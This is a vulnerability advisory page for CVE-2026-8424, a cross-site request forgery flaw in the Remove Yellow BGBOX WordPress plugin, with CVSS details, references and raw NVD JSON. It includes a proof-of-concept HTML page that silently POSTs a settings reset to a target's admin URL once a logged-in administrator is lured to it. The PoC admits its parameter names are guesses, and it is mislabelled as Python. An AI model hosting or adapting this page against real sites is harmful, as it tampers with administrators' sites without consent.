CVE-2026-8424

Description

The Remove Yellow BGBOX plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the 'rybb_api_settings' page. This makes it possible for unauthenticated attackers to reset the plugin's stored settings by overwriting its configuration via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Remove Yellow BGBOX <= 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-8424
Description: CSRF vulnerability allowing settings reset/update.
Usage: Host this file and trick the admin to visit it while logged in.
-->
<html>
  <body>
    <h2>CVE-2026-8424 PoC</h2>
    <p>Attempting to reset plugin settings via CSRF...</p>
    <script>
      // Target URL for the vulnerable settings page
      var targetUrl = "http://target-site.com/wp-admin/admin.php?page=rybb_api_settings";
      
      // Parameters to be sent (example based on typical setting updates)
      // The specific parameter names depend on the plugin's implementation
      var params = "action=save_settings&rybb_option_reset=1";

      fetch(targetUrl, {
        method: "POST",
        headers: {
          "Content-Type": "application/x-www-form-urlencoded"
        },
        body: params,
        credentials: "include" // Ensures cookies are sent with the request
      }).then(response => {
        console.log("Request sent");
        document.body.innerHTML += "<p>CSRF request executed. Check plugin settings.</p>";
      }).catch(error => {
        console.error("Error:", error);
      });
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8424
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8424
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8424/
[4] VulDB https://vuldb.com/cve/CVE-2026-8424
[5] https://plugins.trac.wordpress.org/browser/remove-yellow-bgbox/tags/1.0/admin/rybb_api_settings.php#L5
[6] https://plugins.trac.wordpress.org/browser/remove-yellow-bgbox/tags/1.0/includes/functions.php#L16
[7] https://plugins.trac.wordpress.org/browser/remove-yellow-bgbox/trunk/admin/rybb_api_settings.php#L5
[8] https://plugins.trac.wordpress.org/browser/remove-yellow-bgbox/trunk/includes/functions.php#L16
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/c5b30d27-a3f8-4535-a47f-675c939ec648?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8424", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:40.400", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Remove Yellow BGBOX plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the 'rybb_api_settings' page. This makes it possible for unauthenticated attackers to reset the plugin's stored settings by overwriting its configuration via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/remove-yellow-bgbox/tags/1.0/admin/rybb_api_settings.php#L5", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/remove-yellow-bgbox/tags/1.0/includes/functions.php#L16", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/remove-yellow-bgbox/trunk/admin/rybb_api_settings.php#L5", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/remove-yellow-bgbox/trunk/includes/functions.php#L16", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c5b30d27-a3f8-4535-a47f-675c939ec648?source=cve", "source": "[email protected]"}]}}